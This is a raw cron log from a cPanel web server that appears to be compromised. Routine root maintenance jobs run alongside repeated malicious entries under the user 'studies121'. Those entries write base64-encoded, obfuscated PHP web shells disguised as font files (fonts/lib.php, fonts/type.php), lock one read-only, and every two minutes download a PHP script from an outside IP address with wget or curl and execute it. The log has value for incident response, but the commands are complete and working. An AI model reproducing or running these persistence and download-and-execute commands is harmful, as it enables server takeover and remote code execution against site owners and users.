Sep 12 17:36:01 ip-184-168-122-23 CROND[32291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:37:01 ip-184-168-122-23 CROND[32387]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:37:01 ip-184-168-122-23 CROND[32390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:37:01 ip-184-168-122-23 CROND[32391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:37:01 ip-184-168-122-23 CROND[32389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:38:01 ip-184-168-122-23 CROND[32485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:38:01 ip-184-168-122-23 CROND[32486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:38:01 ip-184-168-122-23 CROND[32487]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:38:01 ip-184-168-122-23 CROND[32488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:38:01 ip-184-168-122-23 CROND[32489]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:39:01 ip-184-168-122-23 CROND[32592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:39:01 ip-184-168-122-23 CROND[32593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:39:01 ip-184-168-122-23 CROND[32590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:39:01 ip-184-168-122-23 CROND[32591]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 17:39:01 ip-184-168-122-23 CROND[32594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:40:01 ip-184-168-122-23 CROND[32693]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 17:40:01 ip-184-168-122-23 CROND[32696]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:40:01 ip-184-168-122-23 CROND[32698]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 17:40:01 ip-184-168-122-23 CROND[32701]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 17:40:01 ip-184-168-122-23 CROND[32700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:40:01 ip-184-168-122-23 CROND[32702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:40:01 ip-184-168-122-23 CROND[32704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:40:01 ip-184-168-122-23 CROND[32705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:41:01 ip-184-168-122-23 CROND[442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:41:01 ip-184-168-122-23 CROND[443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:41:01 ip-184-168-122-23 CROND[444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:41:01 ip-184-168-122-23 CROND[445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:42:01 ip-184-168-122-23 CROND[544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:42:01 ip-184-168-122-23 CROND[549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:42:01 ip-184-168-122-23 CROND[553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:42:01 ip-184-168-122-23 CROND[554]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:42:01 ip-184-168-122-23 CROND[559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:43:01 ip-184-168-122-23 CROND[680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:43:01 ip-184-168-122-23 CROND[681]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:43:01 ip-184-168-122-23 CROND[682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:43:01 ip-184-168-122-23 CROND[684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:44:01 ip-184-168-122-23 CROND[767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:44:01 ip-184-168-122-23 CROND[768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:44:01 ip-184-168-122-23 CROND[769]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:44:01 ip-184-168-122-23 CROND[771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:44:01 ip-184-168-122-23 CROND[772]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:45:01 ip-184-168-122-23 CROND[855]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:45:01 ip-184-168-122-23 CROND[857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:45:01 ip-184-168-122-23 CROND[858]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 17:45:01 ip-184-168-122-23 CROND[860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:45:01 ip-184-168-122-23 CROND[859]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 17:45:01 ip-184-168-122-23 CROND[861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:46:01 ip-184-168-122-23 CROND[1062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:46:01 ip-184-168-122-23 CROND[1064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:46:01 ip-184-168-122-23 CROND[1067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:46:01 ip-184-168-122-23 CROND[1065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:46:01 ip-184-168-122-23 CROND[1068]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 17:46:01 ip-184-168-122-23 CROND[1070]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 17:46:01 ip-184-168-122-23 CROND[1066]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:47:01 ip-184-168-122-23 CROND[1170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:47:01 ip-184-168-122-23 CROND[1174]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:47:01 ip-184-168-122-23 CROND[1172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:47:01 ip-184-168-122-23 CROND[1173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:48:01 ip-184-168-122-23 CROND[1258]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:48:01 ip-184-168-122-23 CROND[1260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:48:01 ip-184-168-122-23 CROND[1261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:48:01 ip-184-168-122-23 CROND[1262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
